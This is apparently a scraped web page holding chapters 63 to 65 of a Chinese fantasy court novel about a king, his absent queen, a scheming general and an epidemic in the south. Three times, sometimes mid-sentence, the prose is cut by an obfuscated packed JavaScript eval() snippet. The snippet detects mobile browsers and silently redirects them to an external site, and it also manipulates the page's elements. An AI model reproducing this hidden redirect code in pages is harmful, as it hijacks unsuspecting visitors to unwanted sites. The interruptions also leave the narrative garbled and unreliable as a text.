;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981272|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片空荡荡的疆土做甚”,桂花树下,元旻支颐歪坐着,摇晃杯中酒液上漂浮的桂花,“可那不是别人,是阿英和阿旭啊……” 元璟扬眉,宽慰道:“陛下不是把开阳也调往滬南了么,他那队人都是高手,个个以一当百,还有何不放心的?” 元旻摇头:“不是我调去,是他主动要去滬南道,说来奇怪,他也是滬南人……” 飞廉七星,天枢、天权是原隐蝠卫成员,摇光是他与舜英一起在灵昌收的,而余下的,开阳、玉衡、天枢、天玑四个由舜英单独收编的,居然全是滬南人。 元璟自顾自干了一杯酒,幽幽道:“就像是,冥冥之中有一股力量,吸引着与滬南有关的一切,靠向阿英。” 元旻一愣。 元璟举了举酒杯,不等他回应,一杯又一杯下肚,朦胧醉眼忽然亮出一丝意味深长。 “陛下相信宿命么?” “阿英的宿命就是去滬南,不止因她身上的秘术,更有她的出身和来处。而滬南的宿命……如果非要有人去终结仇恨,那个人,注定是阿英。” “万法皆空,因果不空。毕竟,她是因那场战争而生。” 元旻涣散的眼神急遽凝聚,打断元璟的神游:“九叔,你说什么?” 元璟打了个激灵,出了身冷汗,避开元旻探询的眼神,慌乱地摇了摇头。 “好!你们一个个都瞒着我”,元旻冷笑,撇过头去,“郑娘娘明知道那秘术,却不告诉我。” “南下之前,陛下也没问过她”,元璟撇嘴嘟囔,“就算她知道了,阿英一样得南下,有何不同?” 元旻定定注视着他:“九叔,征和六年贺浮白过世后,好像是你领兵攻入燮陵的。” “还有,当年在兴庆宫,阿英并不醒目,你为何一眼挑中她做徒弟?” “她的身世,你一直都知道,对么?” 元璟被侄子看得有些不自在,抱起酒坛子、翻转底部,将坛中酒液尽数灌下,咕噜咕噜喝了一阵,“哐当”一声,将空坛子扔到地上。 胆子壮了,与元旻对视的眼神也坚决了些。 “不错,臣知道”,他含含糊糊笑了,话锋一转,“可是——就算陛下杀了臣,臣也不会说!” 元旻:“……” 元璟得意地仰起头:“急什么急,等阿英回来,自己问去。” 迟滞的眼珠子转了转,转了话题:“虽说朔北形势好转,陛下也别只盯着滬南,忘了咱们的老邻居。” 元旻有点讶异:“荣国又怎么了?” 元璟嘿嘿直笑:“跟你别苗头的那个人,辞官了。” “苻洵辞官?上月底就收到线报了”,元旻蹙眉沉吟半晌,脸色逐渐阴沉,“朕与他不熟,他辞不辞官干我何事?” 元璟摇摇晃晃站起来,施了个礼往外走:“听说是在大朝会时,突然将手中所有兵符尽数上缴。” “别说朝臣,连建宁王都吓了一跳,当时就给他否了。可那苻洵吃了秤砣铁了心,一直跪在那叩首,叩得头破血流,逼得荣王不得不准了。” 元旻冷笑:“像是他的作风,他辞官后去了何处?” “辞官后就销声匿迹……”,元璟已走出院门,促狭地挑眉笑了笑,“不过,陛下不用心虚,去年那事虽不厚道,他能奈你何?” 可笑,他有赐婚圣旨在先、册后诏书在后,之前也从未同苻洵挑明交易条件,他有什么好心虚? 元璟又补充说:“他没有通关符节,过不了龙骨关……同你抢不了什么。” 更可笑了,连吃醋都没资格的人,还敢同他抢? 元旻静静看着院门,看着元璟在宦官的搀扶下慢慢走远,不知怎的,心情也明朗了些。 瞥了一眼杯中残酒,扬手泼到地上,眼神逐渐柔和,唇角上扬。 63. 渔阳鼙鼓 洛京西郊有宅,名“半山居”,造型古朴简约,木质的梁柱、轩、梯、栏只涂刷清漆,青砖、黛瓦、白墙隐在竹林间。已是八月中旬,半山烟雨半山晴,几分朦胧几分清。 琴室十分朗阔,木地板纤尘不染,三面开窗,目光所及皆是翠绿风竹。开门正对高约半丈的圆形雕花窗,窗下放着一架文武七弦琴。 红裙少女临窗而立,风从四面八方穿堂而过,吹得她银红锦袍鼓荡不休,像一束盛放的榴花。 “秋风寒凉,还是关上些窗子吧”,少年的声音从门口传来,“这半山居很清幽,公主实在风雅。” 少女转过身,只见烟雨秋风中,少年一袭藏蓝色长袍,玉树临风、款款走来,在门口半跪抱拳:“苻洵拜见鹤华长公主,不知召在下来此,有何事相商?” 元昙欣喜地迎到门口:“你真的来了?” 苻洵不着痕迹地退了半步,避开她伸出的手:“当日在洛京,有幸得公主垂青,自然对公主的书信看重些。反正如今赋闲,游山玩水何不快哉?” 元昙双眸闪过一丝亮光,关切地上下打量着他:“无事,只是偶听叔父说起将军辞官之事,有些担心将军,可是遇上什么难事了?” “王兄待臣极好,是臣自觉这大半年不停地征战、甚是疲累,想趁如今四方安定,歇一段时间”,苻洵抬眸瞥向她,笑了笑,“不成想惹得公主悬心,臣之罪过。” 元昙松了口气,又好奇地问:“可想好去何处游玩了?” 苻洵颔首:“暂时打算拜会过公主后,去贵国的维阳、宜邑两大屿城消遣些时日。” 元昙忙制止他:“不可,长流川已戒严了,大概屿城也要关了。” 苻洵有点诧异:“为何?” 元昙压低了声音:“王上在整兵备战……不知他怎么想的,褚姐姐还在滬南啊,都不投鼠忌器么?” 苻洵愣住了,垂在远离元昙那侧的手紧握成拳,垂目凝视着地面,也不知想些什么。 元昙有些忧心,轻轻扯了扯他袖子,过了半天才见他舒展眉眼,笑道:“那可不太巧。” “希望她平安无事吧”,元昙叹了口气,又向他提议,“既然屿城去不了,不如就在洛京玩一段时间?” 苻洵摇了摇头:“多谢公主美意,只是洛京为陪都,投宿大些的客栈都要登记造册,在下身份有些不便。” “不用投店”,元昙忙说,“你可以住半山居。” 苻洵仿佛吓了一跳,沉声拒绝:“在下一外男,这样恐对公主名声不利。” 元昙浑不在意:“我又不住这儿,你就踏踏实实住着,没外人知晓。” 苻洵迟疑半晌,唇角弯了弯:“那就却之不恭了……在下身无长物,唯有以此聊表寸心。”说话间,从包袱里取出一个精致的木盒,递了过去。 元昙揭开盒盖,一股幽兰甜香扑面而来,她只瞥了一眼,立即移不开眼睛。 那是一枚足金的华胜簪,花丝做工,主体是一架琵琶、旁侧一丛幽兰,镶嵌点缀着珊瑚和石榴石。 礼物并不算价值连城,却独具匠心。元昙拿起来左看右看,爱不释手,喃喃道:“这个样式的,市面上好像没有……将军是哪儿来的,该不会是订做的吧?” 苻洵不置可否,只一瞬不瞬看着她,眼神柔和。 元昙笑容消失,愣住了:“真是订做的?” 轻柔地摩挲着簪子,手指微微发抖,半晌后抬起头,眼圈泛红:“母妃去世后,从未有人待我这样用心。” 苻洵看她天真神态,眼里闪过一丝恻隐和不忍,却转瞬即逝,恢复了温柔缱绻:“喜欢就好,在下还担心此礼太薄,入不了公主的眼。” “公主倾国容色,此簪能被公主戴着,是它的福分。” 元昙眸中泪光闪烁,期许地问:“你能不能,不要叫我公主了,我叫元昙。” “还有,我能不能叫你阿洵。” “在下在家中排行十六,承蒙不弃,可称在下‘十六郎’”,苻洵坐到琴桌旁,抬眸笑问:“那么……七娘子想听什么?” 元昙痴痴看着他:“十六郎琴声高逸,什么都行。” 苻洵与她对视片刻,温声道:“与娘子倾盖如故,却总是匆匆一面就各奔东西,甚是遗憾,莫如来一曲《东飞伯劳歌》。” 元昙感觉这名不太吉利,却被曲中的眷恋感动,于是强颜欢笑点了点头。 . “池侧鸳鸯春日莺,绿珠绛树相逢迎。谁家佳丽过淇上,翠钗绮袖波中漾……” 黑暗中,有琴曲绕梁,男子低声吟唱,琴音和歌声都深情款款、缠绵缱绻。 紧跟着,响起清婉的女声,与男子夫唱妇随:“年时二七犹未笄,转顾流盻鬟鬓低。” 吵死了! 舜英心浮气躁睁开眼,她又被扔到桌子上了。 又是那豪奢的屋子,又是那衣冠楚楚的青年男子。 阳光从雕窗照进来,青年男子对面坐着位少女,十五六岁的模样,着缥碧色宫装,与他含情凝睇,柔声和歌。 少女的容貌,她只从侧面匆匆一瞥,便已惊艳。 鹅蛋脸白皙细腻,眉峰如山聚、眼波似水漾,鼻子小巧挺翘,面貌无可挑剔。她脉脉注视着青年男子,笑容漾得周遭一切都旖旎起来。 “风飞蕊落将何故,可惜可怜空掷度。” 那男子站起来,将碧衣女子搂进怀中:“阿云,朕既纳了你,必不让你年华空掷。” 碧衣女子柔情款款看着他:“妾能得陛下宠幸,已是莫大幸事,只想侍奉左右端茶递水。如今册封如此高位,恐担不住这滔天福分。” “是这妃位配不上阿云,依朕的意思,阿云这样的妙人,就是王后之位也配得上”,男子温声软语,神游遐想着,脸色忽然冷下去,“可惜,有郭越在,朕的王后只能是郭淑娴。” 碧衣女子眼圈发红,哽咽道:“妾心疼陛下……一国之君,如此憋屈。” 男子摇摇头:“有郭太尉在,朕不必操心军务,不必面对那些血腥残忍之事,可每日吟诗作对、飞觞醉月,有何不好?” 顿了顿,又说:“阿云既已封妃,就不要跟蕙兰住在一处,朕新修了一座高楼,叫结云阁。” 碧衣女子泪盈盈看着他,看得他益发动情,声音也变得低沉沙哑:“昨夜阿云初次承宠,泪点点、羞怯怯的模样,看得朕心疼不已……” 如是说着,却已将手伸进了缥碧色宫装,上下其手。 又来了…… 还是大白天! 舜英尽力眼观鼻、鼻观心,沉下心境,让自己思绪散作一片空白,果然那香艳的画面和声音都消弭在灰雾。 这是她从燮陵向西南行进时,随着意识清醒,逐渐学会的技能。遇到太恐怖或太不堪的场景,如能尽快平复心绪、意守丹田,便能脱出幻境。 她用的极少,毕竟,若要读懂亡者执念,避讳太多总是听不全。 灰蒙蒙的雾气中,缥缈的乐声逐渐清晰,管弦丝竹、嘈嘈切切,辉煌的灯光在眼前晃荡。 舜英一睁眼,再次被眼前场景震惊了。 只见水光潋艳之上,白石为基,筑起一座规模堪比宫殿的水榭,花弄影,月流辉,水晶宫殿五云飞。夜风清凉,吹来藕花满殿香。 她被挂在腰间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981273|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,往上看见一双手,搂着佩戴着她的女子,殿中人纷纷唤那女子“云妃”。 殿内座位分为两列,宫装女子姿容娈婉,长袍书生眉清目秀。共四五十人男女混坐,勾肩搭背地联诗对句、互相赠答,大多是香词艳语、靡靡之音。 左手搂着云妃的男子,右手执象牙筷,有节奏得击打在玉盘上,脆声泠泠、余音不绝。 “丽宇芳林对高阁,新装艳质本倾城。” 舜英想起前一幕画面里,缥碧长裙的云妃,回眸一笑百媚生,六宫粉黛无颜色。 “映户凝娇乍不进,出帷含态笑相迎。” 座下孔贵嫔笑盈盈举杯。 “妖姬脸似花含露,玉树流光照后庭。” 座中宾客齐声吟唱,直勾勾望着高位上光彩夺目的女人。 “花开花落不长久……”高位上的男子半醉半醒,声音逐渐低哑、有了泪意。 “叮当”一声,象牙箸下玉盘乍破,国君的泪滴落碎片,哽咽着唱完最后一句。 “落红满地归寂中。” 舜英默默凝视这满场欢声,通宵达旦的醉生梦死,不知为何心里一酸,若玉佩有眼睛、她定是早已潸然泪下。 她不会抚琴弄弦,更不通音律,却也从这酣歌中听到了不祥。 同为国君,元旻也会弹琴、也喜好音律书画,却整天忙得跟个陀螺似的,一年难得抚琴一次,琴技十分生疏,对外也自称不通音律。 他常说“国之大事,唯祀与戎”,诗酒书画虽好,却不是国君该沉迷的。 思绪纷乱,越飘越远……殿内乐声却未停,又开了新的侬词艳曲。 无人瞧见,殿外灯火阑珊处,一名传信兵已跪了很久,浑身是血、被宦官拦在门外,只能用尽力气高声呼喊,想唤醒殿内沉醉的国君。 最终,体力不支,轰然倒下。 欢声笑语,将殿外那一声声泣血的嘶喊淹没——“郭太尉急报,虎威军兵败龙城,死伤过半!” 视线逐渐模糊,又散作濛濛灰雾。 舜英等了许久,也未看到新的画面,眼前却越来越黑,传来的人声很含糊,像耳朵里堵了棉花。 男子的声音发着颤:“郭太尉都兵败了,朕该怎么办?” 云妃的声音很笃定:“郭越跋扈,殿下何不趁机削了他的权,压一压他嚣张气焰?” 舜英冷笑,早不削权迟不削权,非在前线战事吃紧时削权,临阵换将,这是嫌兵败得不够快? 果然,男子迟疑道:“当年朕这王位,都是八叔和郭太尉扶上去的,何必如此,伤了忠臣之心?” 云妃默了片刻,话音带着笑:“臣妾只是怕太尉过分操劳,向王上举荐一位将才,替他分忧。” “如此甚好”,男子大喜过望,“父王曾说,国君不必挂怀太多,只需学会制衡掣肘臣子,自有人替朕治理国家。” 又问:“阿云要举荐何人?” 云妃低笑:“妾就不懂什么制衡,陛下才智过人……” “妾有一闺中密友,被陛下赐给了车骑将军萧胤,上个月刚刚扶正。” “萧胤…似乎有这么个人,颇有才能”,男子沉吟半晌,却话锋一转,“阿云那密友叫什么,才貌如何?” 果然,比起重臣,他更在意重臣的娇妻。 云妃咯咯娇笑:“妾知晓陛下素爱怜香惜玉,不如提拔了萧胤,妾将阿娈引荐给陛下。” “还是阿云想得周到……” 舜英觉得这云妃是个妙人,最擅长以退为进、绵里藏针。 不得不说,这国君也够昏,擢拔大将这等要事,竟就在内帷轻描淡写地定了。 64. 瘴疠之地 “快一个月了,许大人伤势如何?”顾星阑站在卧房门外,头埋得很低,神色羞赧。 许姿趴在床上,烦躁地把头钻进被子里。 这些日子,顾星阑送药送得勤,也都是好药。背上的鞭痕早不疼了,半夜睡醒时感觉到轻微的痒,应是快好了。 可是——那二十鞭是真的实在,莫说皮开肉绽、怕是已伤筋动骨! 而且是公开处刑,她不是滬南那些三贞九烈的节妇,也穿着衣裳受的鞭刑,可是被一万多人观摩……她这二十六年都没这样丢脸过。 这也替她挣来了一段闲暇,享受着无微不至的照顾,每天吃了睡睡了吃,从她被举荐入仕,就没这样悠闲过。 正想着装睡蒙混过去,门口又传来妇人的声音:“许娘子醒了否,府中仆妇炖了药膳,给你搁这儿了?” 是郑锦珠。 许姿一轱辘翻身起来,穿好衣裳拉开门,呆住了。 只见屋外除了郑锦珠、顾星阑,还齐齐整整站了三个衙役,每人手里端着一个木匣,不用看也能猜到里面是什么。 顾星阑见她精神矍铄,松了口气,欣然道:“看样子鞭伤已好得差不多了。” “这是末官从各商户那筹来的粮食单子、这是各区最新的受灾状况统计、这是药材单子,劳烦许大人了。” 用了一个月好伤药,对顾星阑攒出的一丝丝好感,瞬间荡然无存。 顾星阑见她脸色阴沉,忙笑道:“考虑许大人抱恙,就不必去衙门了…” 许姿刚松了口气,顾星阑又说:“末官会每日派人把公文送来贵府。” 许姿盯着他半晌,也笑了,咬牙切齿道:“多谢顾大人贴心。” 接过一个木匣,正要打开,顾星阑上前拿过另一个塞给她:“能否先看看这药材单子?” 许姿瞥了一眼,愕然:“朝廷调拨的药材这么多?” 顾星阑笑容消失了,脸色严峻:“朝廷下拨的防疫药早就发下去了,这是末官从各大药商那统计来的。” “许大人,时疫爆发了。” 许姿头皮发麻,颤声问:“萝州何处?” 顾星阑摇头,沉声道:“不是萝州,是皋州!” . 八月十四,加急圣旨送达萝州。 旨一,罢免现任四州刺史方玉、孔弼实、郭皓、聂少城,由护国公郑载云押解上京,一个月内抵达昇阳; 旨二,顾星阑暂代四州刺史,赋便宜行事之权,并从长流川北抽调两万步兵,摆渡过江充抵府兵,交顾星阑节制。 顾星阑接旨的第二天,维阳的樊良大营拨出三千守军,充作先头部队,从西津渡登上宜邑。 登岸的第二天,宜邑开始有人上吐下泻,秽物呈米泔水样。当时并无人在意,可短短三日,宜邑方圆百里感染者无数。 被罢免的皋州刺史孔弼实当机立断,出动原有的五千州兵,关闭皋州大小各城门,封锁道路、隔绝交通,借机控制了皋州。 却未能阻止疫病向南蔓延,已抵达皋州、萝州交界处。 开始有人指责从维州来的三千兵士,说他们是疫源。 绝望的滬南百姓,除了拜祭社神、驱疫鬼,开始有人喊出“改元永平不满一年,萝州大汛、皋州大疫,乃人君失德,天降神罚。” 民怨一日胜过一日沸腾。 护国公郑载云在此时站出来,携四州刺史在整个滬南筹措药材、征募医士,居然治好了一批病人,于是声望日涨。 顾星阑和元旭处境极艰难,除了玉衡带着的内卫,手下无一人可用。因其是昇阳直派,被视为暴君的走狗,外头编排、臭骂他们的词儿已编成了童谣。 事情出现了转机,连轴转了几天后,护国公和四州刺史因治疫累倒。绝望的病人纷纷聚到城门口,请求护国公自立为王,掌控大局。 背负了一身骂名,顾星阑和元旭却在此时站上城头,组织州兵继续治疫。起初他们并不配合,杀了几个将领才慢吞吞推动了起来。 “不对劲,不可能是那三千人带来的”,许姿听了半晌,忽然蹙眉,“我在医书上看到过,从染上疫病到发病,总得有个时间,哪有头天刚到,第二天就发病的。” 顾星阑苦笑:“是这个道理,说出去也没人信。” 郑锦珠叹气:“这事一出,罢免四州刺史,调来新州兵的事也只能搁置了。” 元旭点头:“王兄本来要派水师直接进驻,现在也只能在长流川周围日夜戒备。” . “郑载云这步棋下得够毒”,舜英一边用锄头刨着土坑,一边冷笑,“水师驻军不得不搁置。” 天玑上前,掏出丝帕给她擦汗。舜英感觉有些怪,道了声谢拿过丝帕,一边自己擦汗,一边坐草地上歇息。 天璇思索了半晌,猜测道:“皋州还是有些丘陵的,人口也不比萝州密集,正常传不了这么快。” “除非有人在不同地点,分别蓄意投放感染了疫病的尸首。” 舜英赞许道:“皋州位置好啊……这样一来,他们可顺理成章关城治疫,名望有了、实在有了。” 天玑叹了口气:“现在外面,对于王上的传言很是不堪,这才是真真杀人诛心。” “他才不在意这个”,舜英唇角浮现出一丝笑,眼神忧虑,“没这么简单,他们一定还有后招。” 天璇点点头:“这些天,但凡经过城镇,我都会去据点问问进度,目前看来,并无大兴土木……” 天玑无奈道:“那就只能等玉衡那边探访进度了,只是如今皋州和萝州封城锁路,讯息传播受阻。” 想了想,又庆幸:“幸亏王上布局早,皋州和萝州的传讯网已建得七七八八,沵州和池州虽不甚完善,却也不至于眼盲耳聋。” 元旻从昭王那学到最多的,是提前布局。登基之初便感觉滬南棘手,早早委派了玉衡来此建立传讯据点,年后又增派了天璇和天玑。 怪不得出发时,元旻一定要玉衡跟着。 舜英想象他对着偌大舆图筹谋的模样,心底就一暖,心底升起无尽仰慕。 天玑瞧她眉眼带笑,促狭地挑了挑眉:“一想到自己的夫君这样厉害,是不是美翻了?说来也怪,郑载云早不行动晚不行动,为何偏偏挑这时候?” “若我是遗民的头子,我想复国”,舜英在地上画了两个圈,一个大、一个小,中间划上一条线,“首先,我得挑动仇恨……滬国也就存在了四代国君。时间久了,有几人记得故国?” “一开始,昭王怀柔、郑载弘代管,上下关系融洽,大家都过得不错。怎么办呢,刺杀,激怒……果然招来了五年血腥镇压。” 天璇补充道:“还有两个好处,一是郑载弘被杀,郑载云上位;二嘛,就是你身上的邪术。” 舜英点头,继续道:“郑载云上位后,虽然增了些赋税,但滬南富庶,日子还是过得去。” “这时候就需要一场大灾,使生灵涂炭,民怨沸腾,他们再趁机累积声望。” “复国很难一步到位,但是他们可以学荣国,先将自己从州郡变成属国……再自立。” “所以就得有自己的军队,自立后才守得住。无须能长久对抗朝廷大军,只要站住了脚,仇恨可使全民皆兵。” 天玑更疑惑:“记得逆王在位时,对军务的把控并不如王上。” 天璇笑容凉凉的:“但是,逆王并不像昭王那般瞻前顾后,若他们那时候搞事,逆王可能先把滬南屠一遍再说,不管事后如何收拾。” 天玑打了个寒颤,继续思索道:“还有个很关键的点,这场大灾得看起来凶险,实际上得是可控。否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981274|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则,人口太少了他们找谁收税,没有赋税如何继续养兵?” 舜英含笑瞥了她一眼,点头认同:“决堤、水患对他们是可控的,对朝廷也一样。” “局势转变的关键,就在于皋州时疫。” “时疫,得人口密集、有感染路径,还得有疫源……”舜英指点在圈中的树枝突然一顿,“疫源呢?” 天璇莫名其妙:“不是他们手里的尸骸么?” 天玑却反应过来了:“病尸不会凭空出现,咱们一路南下,并无何处发疫病,他们手中的尸骸哪儿来的?” 天璇大惊失色:“也就是说,还有个与世隔绝的地方染了疫病。能一路掩藏形迹,不让自己人被感染,他们对这疫病是了解的……” 天玑附和道:“眼光放远些,姐姐有没有觉着……朔北和滬南像是商量好了,同时出状况?” 天璇惊恐地睁大双眸:“他们知晓何时何地会发疫病,甚至这疫病就是他们制造的。” 天玑摇摇头:“我觉着,充其量是知道后加以利用,你说呢首领……诶……首领你慢点。” 天璇蹙起眉,看向天玑那边,也变了脸色:“首领脸色好难看…怎么又晕过去了?” 天玑一把抱住突然晕厥的舜英,阴恻恻问:“这里,发生过什么大战么?” “这里是河州界,再往西走三百多里就是九霄山”,天璇思索片刻,悚然道:“征和六年秋,燮陵城破、滬怀王投降,滬国太尉郭越抵死不降,率残部出逃。” “当时还无爵的九王弟元璟,率骑兵千里追杀,在此地全歼郭越残部!” 天玑又打了个寒颤:“襄国公看着温和风流,年轻时候这样凶残?” . 山间风力急劲,树干树枝疯狂摇晃,落木萧萧飒飒,似无数金色的蝴蝶飞舞满天。 震山裂石的虎哮穿透山林,猿猴尖声的嘶叫盘旋林间。 鸟类似离弦的箭矢,上下交织着冲向同一方向,几十只灰毛绿眼的豺狼狂啸着开路… 赤色黑纹的巨豹闲庭信步,豹身坐着妙龄女子,肌肤白得透明,碧色眼瞳好似两泓深潭,随着赤豹的走动,环佩脆响不绝于耳。 地势逐渐平坦,林木逐渐稀疏、细小,斑斑阳光从枝桠间撒落。 “再往东走五十里,就是九霄山”,骑着赤豹的碧瞳女子抬手指向前方,“孤的力量,只够把你们送到这儿。” 赤豹的两侧,各有一头吊睛白额巨虎与它并肩前行。左边虎背上坐着一名黑衣女子、蓝衣老者;右边虎背上坐着一名紫衣女子。 两名女子都穿着圆领大襟右衽衣、百褶短裙,笑容可掬,正是元晴与紫菀。 而那老者,穿着洗得发白的蓝布袍,袍上用黑线绣着凤凰图纹,须发花白,后脑勺有一处谢顶,笼罩在温柔的金光中,有粉色的嫩肉正在生长。 元晴转过头:“老先生,再往前就是大翊国界了。” 紫菀也附和:“你可要想好,一出蒙舍不得还。” 老者声音低哑:“多谢两位神女相救,起死回生的大恩,我无力回报。” 元晴笑吟吟地说:“我可不是什么神女,世上也没起死回生之术,顶多是枯树逢春,是你那本命蛊厉害,居然将你的生机护了整整八个月。” 老者低下头去,看着自己袖间,拇指头大小的虫子在腕间盘旋,形如蝉、遍体散发柔和的金光。 紫菀担忧地问:“还是记不起自己是谁么?” 老者摇摇头,笑容带了一丝苦涩:“神女既然是在崖底发现老朽,想必不是什么愉快事,忘了便忘了吧。” 于是三人从虎背下来,向山鬼告别。 山鬼突然说:“孤并非专程送你们,眼下还有一事,需你们相助。” 正收拾包袱的三人齐齐一顿,转过头去。 65. 煞星昭明 碧色眼瞳漾起一丝波澜,越发深邃:“小凤凰,你可听说过蒙舍北限?” 山鬼不太会喊人姓名,这些天一直喊老者“小金蝉”,叫元晴“小凤凰”,至于紫菀……叫小麻雀。 元晴见怪不怪,笑容满面回答:“知道啊,以长流川南岸线为凭,因地制宜筑起的蒙舍北防线。” 山鬼淡淡道:“其实原本用不着那么费事,蛮黎疆域本就自有界线——万里地瘴线。” 这倒是第一次听说,元晴与紫菀面面相觑。 山鬼继续道:“西羌高原以东、九霄山以西、长流川以南,有山有林之处,全是山鬼的疆域。直到千年之前,来了一群鸟……” 哦,说的是羽民西渡。 紫菀疑惑道:“你不是才三十多岁么,哪来的千年前?” “她们继位时,有秘术继承上一代的记忆,可以勉强算作同一人”,元晴白了她一眼,“别打岔。” “还是小凤凰懂规矩”,山鬼眉开眼笑,“然后有一天,长流川突然倒流,还搞得天崩地裂、电闪雷鸣,淹了大片山林,吵得不能安生。孤当时很生气,就对他们放了百万虫神,当时就有不少鸟被毒死了。” 说到这儿,山鬼眉飞色舞:“可还有九种鸟毒不倒,它们的血好像能克制普通虫神。这可不太妙,于是孤闭关了九九八十一天,将虫神吐的毒九转九炼,果然炼出了能侵蚀那九种鸟的毒,一共四种。” “孤还给它们取了名,独活、七情、相思、忘忧,小凤凰觉得怎样,好不好听?” 元晴听得眼前发昏,这都是一群什么人? 山鬼又认真想了想,笑容消失,漫不经心道:“糟糕的是,孤也解不了那些毒。后来,那九只鸟就来找我和谈。” “约定是,他们永世不得入侵孤的领土,孤的子民也永不出深林滋扰他们。” “后来,孤就集中整个蛮黎疆域的瘴疠之气,埋入地底为界线。那是长达万里、宽达两三里的瘴疠线,不管是鸟、还是蛮黎子民,过线者死。” 元晴觉得这很难评,有趣、实在有趣。第一次听说,画界线把本国子民圈起来的画法。 山鬼丝毫未察她情绪,依然淡淡地说:“过了几百年,随着地气转阴,瘴疠逐渐不受控,那时候什么鸟毛庙,派下来九只小鸟。” 鸟毛庙?凰羽寺! “孤再集结山林之清气,同那九只鸟一起,将瘴疠之气封进地底,少数人过线也不会死。当然,若是受到大的震荡,阵法有了裂痕,还是会释放瘴气。” “结果,就在三十多年前,有一群鱼不听劝,非跑到九霄山这边来,住着老是生病、活不长,又回去了。” 鱼?是滬民吧,这山鬼形容得还蛮贴切。 说的是滬宣王郑廷勖,西征蛮疆,跨过九霄山脉,将国境线往西推进四百里。然后,过了不到二十年,九霄山以西滬民耐不住生病短寿,纷纷逃家。 滬惠王郑载秀即位后,国政荒疏,无力继续控制这片土地,于是国境线又缩了回去。 元晴感觉自己抓住了一丝亮光,忙问道:“这么多人过来,地瘴线如何了?” 山鬼仍是面无表情的,语气却有些气恼:“当然是裂了,孤花了几十年才补好。结果今年又裂了,比上次更严重!” 元晴回想了一下,今年滬南并未对外发兵,于是问:“这次怎么裂的?” 山鬼语气更怒:“当然是那个煞星!” “煞星”二字一出,元晴和紫菀不约而同看向对方,眼神凝重,点了点头。 “荧惑之辉聚为昭明,他便是昭明在人间的投影。十九年前降生于碧水河畔,还好他娘执意送他走,孤就顺水推舟送他们过了北限……” 元晴叹了口气,这祸水北引,妙! “谁知道,去年他又回来了,同路的还有两只鸟。那只小凤凰跟你挺像,还有只小重明,孤当时那个气呀,有凤凰和重明在,动起手来不好看。” 元晴提醒道:“那是我兄长。” 山鬼诧异道:“兄长?那是个什么东西?孤看万物,只看本身的‘气’,不识你们所说的血缘。” 缓了缓,继续说:“那昭明星回来就回来,还成天在碧水河畔到处转悠,像是想搞出些动静、弄死王城那堆人,不知怎么找到地瘴线的阵眼,顺道给破了。” 元晴睁大了双眼:“顺道?郑廷勖十万大军才踏裂的阵法,他一个人,还是阵眼,顺道?” 山鬼幽幽叹了口气:“所谓一物降一物,从天道来说,他克你们九只鸟,孤稍稍能克他,你们九只鸟克孤。” “好不容易把阵眼修好、就这个破洞怎么都补不上,只能转移到地广人稀的九霄山脉。可把孤气得……正要找他算账的时候,他放火烧山……” 元晴瞠目结舌:“蒙舍山火,他放的?” 紫菀也很诧异:“师姐,他是不是有病,好好地放火烧山?” 转念一想,苻洵可不就是有病,一身戾气,走到哪儿杀到哪儿。 山鬼好似不甚在意烧山这事,只遗憾不已:“火势顺风蔓延,他逆风往北走,以为肯定能躲过。孤就设祭坛祈风、换了风向把火焰吹向他,差点就成功了……” “又来了一只鸟!把他救走了!” “你们这几只鸟怎么回事,说好不入蒙舍呢?” 元晴真是不知该说什么,天枢祖上姓孟,是灭蒙后人,自然也身负神鸟之血。 紫菀忽然心念一动,眨巴眼睛问:“要是他死在那场大火里,昭明星会如何?” 山鬼闲闲道:“这次烧死了,换个地方再降世呀……不过斗转星移,下次应该不会生在蒙舍了。” 紫菀不死心:“有什么法子彻底消灭昭明?” 山鬼歪头:“为何要想法子消灭?人的寿数就那么几十年,自然衰老死掉,昭明星就没了。” 紫菀灵机一动:“同样是死,老死和杀掉有何不一样?” 山鬼漫不经心地说:“不知道,懒得想……反正就几十年,慢慢等呗……” 元晴、紫菀:“……” 希望破灭,故事也听得差不多了,元晴忍无可忍问:“需要我们重新封印地瘴线么?” 山鬼上下打量她一番,不住摇头;“不够……” “瘴疠已蔓延有些时日了,破洞越来越大,至少得四只鸟吧。” 蔓延了些时日……瘴疠蔓延,是为瘟疫,九霄山以东,就是滬南! 元晴心一沉,顾不上紫菀怎么想,忙问道:“小麻雀算不算一个?” 山鬼不假思索:“自然不算。” “孤若集合山林清气,算得上三分之二个,小凤凰算一个多点。今年来的那只灭蒙,我找他要了一碗血,算得上一个,还差一个。” 老者突然出声:“若加上老朽的金蝉呢?” 山鬼摇头:“你那金蝉还弱着,用不了。” “要是那只小重明在就好了,她可比小凤凰还好用。” 